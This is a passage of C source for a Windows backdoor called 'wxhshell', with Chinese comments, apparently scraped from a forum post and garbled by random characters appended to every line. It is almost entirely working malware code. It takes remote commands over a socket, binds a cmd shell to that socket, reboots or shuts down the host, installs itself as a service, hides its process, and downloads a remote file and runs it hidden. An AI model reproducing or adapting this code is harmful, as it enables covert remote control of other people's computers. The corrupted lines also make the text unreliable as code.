  if(DownloadFile(cmd,wsh)) uLeRZSC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5v.DX`"  
  else <~U4*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gwkb!#A  
  } e'*HS7g  
  else { #EO1`9f48x  
e9pOisZ;8  
    switch(cmd[0]) { l*aj#%ha  
  yGBQ0o7E  
  // 帮助 x+5p1sv6  
  case '?': { o?Nu:&yE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +Lm4kA+aE5  
    break; 'Ye v} QM  
  } `|O yRU"EK  
  // 安装 or*HC&c7  
  case 'i': { =v~1qWX  
    if(Install()) AnsjmR:Jv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); & -l8n^  
    else |[xi/Q^7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BG`s6aC|z<  
    break; 0 >Z ;Ni  
    } =s97Z-  
  // 卸载 VL+C&k v]  
  case 'r': { $& ~;@*[  
    if(Uninstall()) ,<,:8B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v5ur&egVs  
    else [] W;t\h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l3o#@sz:  
    break; u0)7i.!M  
    } #G]!%  
  // 显示 wxhshell 所在路径 FyL_xu\e  
  case 'p': { e;YW6}'}  
    char svExeFile[MAX_PATH]; mABe'"8  
    strcpy(svExeFile,"\n\r"); _W!p8cB  
      strcat(svExeFile,ExeFile); b4 #R!  
        send(wsh,svExeFile,strlen(svExeFile),0); h[tix:  
    break; -<_$m6x"A  
    } a~LC+8|JW  
  // 重启 @DAF 6ygs  
  case 'b': { E:E4ulak  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0[A9b,MMVO  
    if(Boot(REBOOT)) (P|~>k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5r {;CKKz  
    else { "VxWj}+]  
    closesocket(wsh); ,{eU P0]  
    ExitThread(0); h&@R| N  
    } |aToUi.Q%  
    break; ygZ  #y L  
    } eL D?jTi'  
  // 关机 q> :$c0JY  
  case 'd': { ~}ml*<z@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dj6*6qX0'^  
    if(Boot(SHUTDOWN)) 4pU>x$3$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #_  C  
    else { &fP XU*l4  
    closesocket(wsh); ~|Y>:M+0Z  
    ExitThread(0); &:B<Q$g#  
    } B#%; Qc  
    break; V_n<?9^4  
    } g&/p*c_  
  // 获取shell f3*?MXxb16  
  case 's': { K!AAGj`  
    CmdShell(wsh); /(C~~XP)  
    closesocket(wsh); 7sNw  
    ExitThread(0); qf)$$qi  
    break; vC;]jJb:  
  } 'BMy8  
  // 退出 %WFu<^jm  
  case 'x': { S*)1|~pRvQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E N^Uki`  
    CloseIt(wsh); RuW!*LI  
    break; |dE -^"_  
    } >cmE t  
  // 离开 9?T{}| ?  
  case 'q': { p\v Mc\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w2(guL($  
    closesocket(wsh); -_VG;$,jE  
    WSACleanup(); }1 vT)  
    exit(1); _1Z=q.sC  
    break; lt'I,Xt  
        } Eu<1Bse;  
  } Mq%,lJA\  
  } 7YWNd^FI V  
HHk)ZfWRo  
  // 提示信息 ni&*E~a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6X g]/FD  
} }*U[>Z-eO  
  } 2Nc>6  
-5G)?J/*  
  return; :B *}^g  
} uUR~&8ERX  
M<?Q4a'Q  
// shell模块句柄 2h30\/xkU  
int CmdShell(SOCKET sock) uv{P,]lK  
{ Jc4L5*Xn/  
STARTUPINFO si; cX!Pz.C  
ZeroMemory(&si,sizeof(si)); o@>? *=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ER&UBUu"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t6N*6ld2b  
PROCESS_INFORMATION ProcessInfo; ~89P[$6  
char cmdline[]="cmd"; 5__+_hO ;3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X+8B!F  
  return 0; |tMn={  
} /x@RNdKv  
c2SC|s]  
// 自身启动模式 ^W83ByP  
int StartFromService(void) zRl~^~sY  
{ DLPUqKL]  
typedef struct +';>=hha  
{ E|"=. T  
  DWORD ExitStatus; {43yb_B(  
  DWORD PebBaseAddress; i?;r7>  
  DWORD AffinityMask; g8;D/  
  DWORD BasePriority; mo]KCi  
  ULONG UniqueProcessId; }$su4A@0  
  ULONG InheritedFromUniqueProcessId; OV CR0  
}   PROCESS_BASIC_INFORMATION; 3cl9wWlJ_E  
1pp -=$k  
PROCNTQSIP NtQueryInformationProcess; ,0$)yZ3*3,  
R/b4NGW@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J a,d3K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r~[vaQQ6L  
]J1S#Q5'  
  HANDLE             hProcess; ig"uXs  
  PROCESS_BASIC_INFORMATION pbi; d=.2@Ry  
3Q}$fQ&S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e>'H IO  
  if(NULL == hInst ) return 0; ^u)z{.z'H/  
qf'm=efRyu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uw\1b.r'B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #PLEPB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [ANuBNF  
46jh-4) <  
  if (!NtQueryInformationProcess) return 0; RH)EB<PV  
s3s4OAY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hi =XYC,  
  if(!hProcess) return 0; }SyxPXs  
fCAiLkT,C[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }H:F< z*  
k ^'f[|}  
  CloseHandle(hProcess); ?q2j3e[>  
oj.A,Fh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x90*yaw>h  
if(hProcess==NULL) return 0; e`tLR- &  
_K9VMczj  
HMODULE hMod; qL5I#?OMkU  
char procName[255]; s,VXc/  
unsigned long cbNeeded; |8_JY2 R  
UAS@R`?cI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %bXx!x8(  
]6Ug>>x5  
  CloseHandle(hProcess); zkM"cb13q/  
.uo.N   
if(strstr(procName,"services")) return 1; // 以服务启动 C=Fzu&N}  
`WEZ"5n  
  return 0; // 注册表启动 *TW=/+j  
} KP;(Q+qTx  
Huw\&E  
// 主模块 d87vl13  
int StartWxhshell(LPSTR lpCmdLine) PrQ?PvA<L  
{ vEM(bT=H  
  SOCKET wsl; Zx }&c |Q  
BOOL val=TRUE; Z]w# vLR  
  int port=0; vQVK$n`  
  struct sockaddr_in door; !4"sX+z9  
z"4]5&3A  
  if(wscfg.ws_autoins) Install(); ;.s l*q1A  
^he=)rBb?  
port=atoi(lpCmdLine); >M!xiQX  
_GQz!YA  
if(port<=0) port=wscfg.ws_port; jo +w>  
| aQ"3d  
  WSADATA data; O^>jdl!TZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _:n b&B  
Gm`}(;(A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TOF '2&H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vh!v MB}}  
  door.sin_family = AF_INET; wu<])&F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Bc-yxjsw  
  door.sin_port = htons(port); SZ![%)83  
OIHz I2{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?{"mP 'dD  
closesocket(wsl); q}uHFp/J  
return 1; W_O)~u8  
} m%+IPZ2m  
%m5Q"4O  
  if(listen(wsl,2) == INVALID_SOCKET) { {MAQ/5  
closesocket(wsl); h5z)Lc^  
return 1; z7.|fE)<6  
} _?7#MWe&  
  Wxhshell(wsl); C9n}6Er=,  
  WSACleanup(); >C WKH~  
5(2|tJw-H;  
return 0; "bg'@:4F  
g3@Rl2yQJ  
} 3b'tx!tFN  
M_ 0zC1  
// 以NT服务方式启动 1xNVdI   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :R6bq!  
{ ^_I} x)i*@  
DWORD   status = 0; M/D)".;  
  DWORD   specificError = 0xfffffff; <BWkUZz\P|  
pZZgIw}aS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L gmvKW|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fa* Cpt:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "o!{51!'  
  serviceStatus.dwWin32ExitCode     = 0; / il@`w;G  
  serviceStatus.dwServiceSpecificExitCode = 0; #yseiVm;  
  serviceStatus.dwCheckPoint       = 0; (LvS :?T}  
  serviceStatus.dwWaitHint       = 0; $ZPX]2D4B#  
2s*#u<I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~pk(L[G  
  if (hServiceStatusHandle==0) return; HWns.[  
V=I"-k}RL  
status = GetLastError(); &WXY'A=  
  if (status!=NO_ERROR) E9j+o y  
{ $VG*q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <[aDo%,A  
    serviceStatus.dwCheckPoint       = 0; qpoV]#iW  
    serviceStatus.dwWaitHint       = 0; %x; x_  
    serviceStatus.dwWin32ExitCode     = status; =M6[URZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; r#PMy$7L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "; [ iZ  
    return; 87!C@XlK_  
  } U8#xgz@  
&ej8mq"\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3>ex5  
  serviceStatus.dwCheckPoint       = 0; ] U@o0  
  serviceStatus.dwWaitHint       = 0; foF19_2 ,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4!62/df  
} s6*ilq1  
.%EL\2  
// 处理NT服务事件,比如:启动、停止 Rx07trfN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =*BIB5  
{ { kSf{>Ia  
switch(fdwControl) rjt8fN  
{ ;?fS(Vz~  
case SERVICE_CONTROL_STOP: .@)mxC:\K9  
  serviceStatus.dwWin32ExitCode = 0; <mA'X V,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *F ^wtH`  
  serviceStatus.dwCheckPoint   = 0; 9L0GLmLk1u  
  serviceStatus.dwWaitHint     = 0; 4rK{-jvh>m  
  { D(W,yq~7uY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Ycf]2.,$  
  } R9We/FhOY  
  return; p1pQU={<  
case SERVICE_CONTROL_PAUSE: @K223?c8l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qIUfPA=/_  
  break; %A1@&xrbl  
case SERVICE_CONTROL_CONTINUE: R;whW:Tx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ))D:8l@  
  break; Z0!5d<  
case SERVICE_CONTROL_INTERROGATE: Zd^6ulx  
  break; >DM44  
}; Xm2\0=v5;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8VG!TpX/B  
} -W{DxN1  
&K_)#v`|  
// 标准应用程序主函数 M6 9 w-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vD/NgRBww  
{ nL@KX>  
M4LP$N  
// 获取操作系统版本 :,;K>l^U  
OsIsNt=GetOsVer(); l:;PXy6)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'k;4j|<  
 ~fl@ 2  
  // 从命令行安装 _CBWb  
  if(strpbrk(lpCmdLine,"iI")) Install(); `=+^|Y}  
]=rht9),"  
  // 下载执行文件 hDP/JN8y  
if(wscfg.ws_downexe) { d4:`@*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CQ7{1,?2  
  WinExec(wscfg.ws_filenam,SW_HIDE); G2 ]H6G$M  
}  %R#L  
e:E0"<  
if(!OsIsNt) { 'oNO-)p\#!  
// 如果时win9x,隐藏进程并且设置为注册表启动 DBLk!~IF  
HideProc(); *,C(\!b !?  
StartWxhshell(lpCmdLine); Sgim3):Z  
} C`=p +2I]  
else r;9 r!$d  
  if(StartFromService()) 7*Qk`*Ii  
  // 以服务方式启动 .LVQx  
  StartServiceCtrlDispatcher(DispatchTable); Ng><n}  
else *b *G2f^  
  // 普通方式启动 682Z}"I0  
  StartWxhshell(lpCmdLine); eg<bi@C1|  
\}6;Kf}\  
return 0; 3<=,1 cU  
}
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只看该作者 1 发表于: 2006-10-10
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